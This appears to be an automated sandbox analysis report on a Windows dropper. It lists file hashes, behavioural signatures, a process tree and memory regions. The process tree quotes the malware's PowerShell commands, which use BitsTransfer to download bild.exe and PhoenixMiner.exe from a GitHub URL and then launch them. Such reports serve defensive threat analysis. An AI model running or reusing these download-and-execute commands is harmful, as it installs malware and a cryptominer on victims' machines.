Analysis
-
max time kernel
97s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20220721-en -
resource tags
arch:x64arch:x86image:win10v2004-20220721-enlocale:en-usos:windows10-2004-x64system -
submitted
01-08-2022 03:29
Static task
static1
Behavioral task
behavioral1
Sample
3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe
Resource
win7-20220715-en
Behavioral task
behavioral2
Sample
3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe
Resource
win10v2004-20220721-en
General
-
Target
3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe
-
Size
8.3MB
-
MD5
9ed9ad87a1564fbb5e1b652b3e7148c8
-
SHA1
0c001b7e9615cbc22eac2a324d8deb7eaf069ff7
-
SHA256
3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89
-
SHA512
e49e403a73ff1d10111d23cc70ae95ffae63abbc4a52cfc52c447ee9f15e76ab44f07d0f41e3b3e63a73a07e7748b8ac7ed8c997f1051a10ca5fad1dace4183a
Malware Config
Extracted
https://raw.githubusercontent.com/jkh36/d/main/bild.exe
https://raw.githubusercontent.com/jkh36/d/main/PhoenixMiner.exe
Signatures
-
Executes dropped EXE 1 IoCs
Processes:
PhoenixMiner.exepid process 2696 PhoenixMiner.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\Control Panel\International\Geo\Nation 3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
PhoenixMiner.exedescription ioc process Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce PhoenixMiner.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" PhoenixMiner.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 848 powershell.exe 848 powershell.exe 4796 powershell.exe 4796 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 848 powershell.exe Token: SeDebugPrivilege 4796 powershell.exe -
Suspicious use of WriteProcessMemory 9 IoCs
Processes:
3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exePhoenixMiner.exedescription pid process target process PID 4852 wrote to memory of 2696 4852 3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe PhoenixMiner.exe PID 4852 wrote to memory of 2696 4852 3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe PhoenixMiner.exe PID 4852 wrote to memory of 2696 4852 3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe PhoenixMiner.exe PID 2696 wrote to memory of 848 2696 PhoenixMiner.exe powershell.exe PID 2696 wrote to memory of 848 2696 PhoenixMiner.exe powershell.exe PID 2696 wrote to memory of 848 2696 PhoenixMiner.exe powershell.exe PID 2696 wrote to memory of 4796 2696 PhoenixMiner.exe powershell.exe PID 2696 wrote to memory of 4796 2696 PhoenixMiner.exe powershell.exe PID 2696 wrote to memory of 4796 2696 PhoenixMiner.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe"C:\Users\Admin\AppData\Local\Temp\3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -command Import-Module BitsTransfer; Start-BitsTransfer -Source https://raw.githubusercontent.com/jkh36/d/main/bild.exe,https://raw.githubusercontent.com/jkh36/d/main/PhoenixMiner.exe -Destination lWr.exe,ck.exe;3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -command Start-Process lWr.exe; Start-Process ck.exe;3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.logFilesize
2KB
MD5b6deac3351c943410eafe90bc93687c8
SHA134ff10b6e186ff6f7b6f39ebb127ee137ade5589
SHA2561775d61fb6831a2c572bb51d5772952ee13bbee68bde0367546bb04811a70f0a
SHA5123e025c20277dff003fe09afa2a9014d2fe42761bec935f7d7eb917ddb5b8760d5e3bc643e81d28fa7352c398cbdffcc0dbb5302e7fc6b97969387a3ef313b880
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
19KB
MD530d339889a9b66b417b5e46a2646506e
SHA1d5089685d2ce69e2164987852d2094cfa5a28d50
SHA256ba016ef41e7f4b9af9ea7673f085dbc6314b9b3aacd58f9875478cf450bf3a7e
SHA512b4aa0858e3cf58edcf0157b67c45ede5d15dc8647e8f74430991d529f27a3e04e4c4f8822e2cdd66c4bc08f6593246f541d06cfe972e3ed46669c20ebfff8b4b
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exeFilesize
8.2MB
MD5c74ab76362f2321b7143e8ba2517c16b
SHA16b4c65e2b1ba59d155c5d453285fae4d3e52b2a6
SHA256938cb901511ceac91acd8b1eaadabd01688852ed1121250b1c5e587f9ee0512f
SHA5122a506ba53d4dc837bfabee920617fddc2152fb0a474f6a197086c6ce1aadf7b1f1bc64e8d27b9759cdd567675273c99f6af29c61e9a6c5184171336a1a869a17
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exeFilesize
8.2MB
MD5c74ab76362f2321b7143e8ba2517c16b
SHA16b4c65e2b1ba59d155c5d453285fae4d3e52b2a6
SHA256938cb901511ceac91acd8b1eaadabd01688852ed1121250b1c5e587f9ee0512f
SHA5122a506ba53d4dc837bfabee920617fddc2152fb0a474f6a197086c6ce1aadf7b1f1bc64e8d27b9759cdd567675273c99f6af29c61e9a6c5184171336a1a869a17
-
memory/848-142-0x0000000005FC0000-0x0000000005FE2000-memory.dmpFilesize
136KB
-
memory/848-136-0x0000000004AC0000-0x0000000004AE2000-memory.dmpFilesize
136KB
-
memory/848-137-0x0000000004D60000-0x0000000004DC6000-memory.dmpFilesize
408KB
-
memory/848-138-0x0000000004DD0000-0x0000000004E36000-memory.dmpFilesize
408KB
-
memory/848-139-0x0000000005A70000-0x0000000005A8E000-memory.dmpFilesize
120KB
-
memory/848-140-0x0000000006A70000-0x0000000006B06000-memory.dmpFilesize
600KB
-
memory/848-141-0x0000000005F40000-0x0000000005F5A000-memory.dmpFilesize
104KB
-
memory/848-134-0x0000000002130000-0x0000000002166000-memory.dmpFilesize
216KB
-
memory/848-143-0x00000000072D0000-0x0000000007874000-memory.dmpFilesize
5.6MB
-
memory/848-144-0x0000000006E90000-0x0000000006EA4000-memory.dmpFilesize
80KB
-
memory/848-135-0x0000000004EE0000-0x0000000005508000-memory.dmpFilesize
6.2MB
-
memory/848-133-0x0000000000000000-mapping.dmp
-
memory/2696-130-0x0000000000000000-mapping.dmp
-
memory/4796-145-0x0000000000000000-mapping.dmp
-
memory/4796-148-0x0000000007740000-0x0000000007772000-memory.dmpFilesize
200KB
-
memory/4796-149-0x000000006F670000-0x000000006F6BC000-memory.dmpFilesize
304KB
-
memory/4796-150-0x0000000007700000-0x000000000771E000-memory.dmpFilesize
120KB
-
memory/4796-151-0x00000000088A0000-0x0000000008F1A000-memory.dmpFilesize
6.5MB
-
memory/4796-152-0x0000000007910000-0x000000000791A000-memory.dmpFilesize
40KB
-
memory/4796-153-0x0000000007AC0000-0x0000000007ACE000-memory.dmpFilesize
56KB
-
memory/4796-154-0x0000000007B10000-0x0000000007B2A000-memory.dmpFilesize
104KB
-
memory/4796-155-0x0000000007B00000-0x0000000007B08000-memory.dmpFilesize
32KB